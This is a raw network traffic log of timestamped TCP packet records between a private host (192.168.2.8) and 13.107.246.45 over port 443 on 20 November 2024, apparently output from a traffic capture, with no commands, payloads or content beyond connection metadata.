Nov 20, 2024 13:28:52.114801884 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.114839077 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.114911079 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.115061045 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.115071058 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.117974043 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.118249893 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.118288994 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.118294001 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.118346930 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.118386984 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.118395090 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.118407011 CET	49944	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.118412018 CET	443	49944	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.120630026 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.120681047 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.120805979 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.120915890 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.120940924 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.493880987 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.506207943 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.506218910 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.507092953 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.507097960 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.607002020 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.607405901 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.607451916 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.607461929 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.607472897 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.607512951 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.607594013 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.607606888 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.607616901 CET	49946	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.607621908 CET	443	49946	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.610402107 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.610445023 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.610517979 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.610675097 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.610685110 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.699177027 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.699948072 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.699968100 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.700443983 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.700454950 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.762516975 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.762726068 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.762978077 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.763006926 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.763448954 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.763453960 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.763675928 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.763727903 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.764039993 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.764053106 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.766988993 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.767250061 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.767265081 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.767589092 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.767600060 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.805605888 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.805723906 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.805800915 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.805999994 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.806016922 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.806030035 CET	49947	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.806035995 CET	443	49947	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.808831930 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.808864117 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.808943987 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.809072018 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.809086084 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.865983963 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.866410017 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.866494894 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.866766930 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.866805077 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.866837978 CET	49948	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.866853952 CET	443	49948	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.867372990 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.867398977 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.867441893 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.867468119 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.867495060 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.867912054 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.868086100 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.868141890 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.868341923 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.868341923 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.868360996 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.868382931 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.878309965 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.878330946 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.878343105 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.878349066 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.882160902 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.882251024 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.882337093 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.883244038 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.883260012 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.884139061 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.884171963 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.884177923 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.884231091 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.887917042 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.887952089 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.888073921 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.888087034 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:52.888180971 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:52.888206959 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.266097069 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.272068977 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.272093058 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.275568962 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.275576115 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.368416071 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.368995905 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.369015932 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.369772911 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.369779110 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.373598099 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.374219894 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.374284029 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.374356031 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.374373913 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.374383926 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.374391079 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.377007008 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.377118111 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.377343893 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.377501011 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.377552986 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.472085953 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.472811937 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.472862959 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.472888947 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.472944975 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.473009109 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.473023891 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.473035097 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.473040104 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.476070881 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.476150990 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.476259947 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.476392984 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.476435900 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.551395893 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.551976919 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.551986933 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.552560091 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.552563906 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.559081078 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.559475899 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.559509993 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.559912920 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.559919119 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.565645933 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.566073895 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.566097021 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.566484928 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.566492081 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.701035976 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.701809883 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.701875925 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.701988935 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.701997042 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.705403090 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.705440044 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.705509901 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.705663919 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.705682039 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.722290993 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.722378969 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.722460985 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.722661972 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.722678900 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.722688913 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.722695112 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.725867033 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.725922108 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.726012945 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.726218939 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.726243019 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.740582943 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.741309881 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.741374969 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.741420031 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.741420031 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.741436005 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.741446018 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.744224072 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.744256020 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:53.744344950 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.744504929 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:53.744519949 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.119993925 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.120748043 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.120826006 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.121248960 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.121264935 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.220614910 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.221025944 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.221077919 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.221123934 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.221158981 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.221210957 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.221237898 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.221254110 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.221266985 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.222893000 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.224704027 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.224750996 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.224806070 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.224819899 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.224838972 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.224970102 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.224981070 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.225300074 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.225306988 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.330670118 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.330852032 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.331135035 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.331135035 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.331135035 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.334203959 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.334275007 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.334361076 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.334513903 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.334526062 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.411422968 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.412282944 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.412337065 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.412982941 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.412997961 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.448131084 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.448692083 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.448719025 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.449153900 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.449160099 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.457182884 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.457698107 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.457743883 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.458170891 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.458184958 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.518312931 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.518429041 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.518496037 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.518527985 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.518560886 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.518624067 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.518738985 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.518775940 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.518821955 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.518837929 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.522068024 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.522114038 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.522296906 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.522445917 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.522455931 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.549266100 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.549345016 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.549413919 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.549688101 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.549706936 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.549717903 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.549722910 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.552700996 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.552795887 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.553076029 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.553230047 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.553267002 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.569760084 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.569856882 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.569920063 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.570071936 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.570108891 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.570158958 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.570174932 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.572573900 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.572619915 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.572701931 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.572844982 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.572860956 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.630621910 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.630649090 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.859812975 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.861812115 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.861851931 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.862313986 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.862323999 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.963174105 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.963378906 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.963505983 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.963815928 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.963843107 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.963857889 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.963865995 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.966921091 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.966979980 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.967067003 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.967243910 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.967257023 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.975403070 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.976030111 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.976058960 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:54.976519108 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:54.976525068 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.080984116 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.081161976 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.081265926 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.081577063 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.081589937 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.081600904 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.081607103 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.084963083 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.085005045 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.085089922 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.085242987 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.085251093 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.168545961 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.169255018 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.169272900 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.169909000 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.169915915 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.206845045 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.207710028 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.207737923 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.208394051 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.208399057 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.215778112 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.216605902 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.216634989 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.217097998 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.217107058 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.516796112 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.516868114 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.516980886 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.517759085 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.517796993 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:55.517822027 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:55.517848969 CET	49963	443	192.168.2.8	13.107.246.45
